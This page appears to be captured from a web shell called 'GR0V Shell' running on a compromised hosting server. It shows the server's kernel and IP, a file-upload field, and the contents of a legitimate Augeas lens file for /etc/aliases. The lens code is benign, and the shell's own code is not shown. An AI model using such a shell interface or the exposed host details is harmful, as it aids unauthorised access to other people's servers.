? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/puppetlabs/puppet/share/augeas/lenses/dist/
File Upload :
Current File : //opt/puppetlabs/puppet/share/augeas/lenses/dist/aliases.aug

(*
Module: Aliases
  Parses /etc/aliases

Author: David Lutterkort <lutter@redhat.com>

About: Reference
  This lens tries to keep as close as possible to `man 5 aliases` where possible.

About: License
   This file is licenced under the LGPL v2+, like the rest of Augeas.

About: Lens Usage
   See <lns>.

About: Configuration files
   This lens applies to /etc/aliases.

About: Examples
   The <Test_Aliases> file contains various examples and tests.
*)

module Aliases =
   autoload xfm

   (************************************************************************
    * Group:                 USEFUL PRIMITIVES
    *************************************************************************)

   (* Group: basic tokens *)

   (* Variable: word *)
   let word = /[^|", \t\n]+/
   (* Variable: name *)
   let name = /([^ \t\n#:|@]+|"[^"|\n]*")/ (* " make emacs calm down *)

   (* Variable: command
    * a command can contain spaces, if enclosed in double quotes, the case
    * without spaces is taken care with <word>
    *)
   let command = /(\|([^", \t\n]+|"[^"\n]+"))|("\|[^"\n]+")/

   (* Group: Comments and empty lines *)

   (* View: eol *)
   let eol   = Util.eol
   (* View: comment *)
   let comment = Util.comment
   (* View: empty *)
   let empty   = Util.empty

   (* Group: separators *)
   (* View: colon
    * Separation between the alias and it's destinations
    *)
   let colon = del /[ \t]*:[ \t]*/ ":\t"
   (* View: comma
    * Separation between multiple destinations
    *)
   let comma = del /[ \t]*,[ \t]*(\n[ \t]+)?/ ", "

   (* Group: alias *)

   (* View: destination
    * Can be either a word (no spaces included) or a command with spaces
    *)
   let destination = ( word | command )

   (* View: value_list
    * List of destinations
    *)
   let value_list = Build.opt_list ([ label "value" . store destination]) comma

   (* View: alias
    * a name with one or more destinations
    *)
   let alias = [ seq "alias" .
                    [ label "name" . store name ] . colon .
                    value_list
                ] . eol

  (* View: lns *)
  let lns = (comment | empty | alias)*

  let xfm = transform lns (incl "/etc/aliases")

(* Local Variables: *)
(* mode: caml *)
(* End: *)

T1KUS90T
  root-grov@198.54.114.191:~$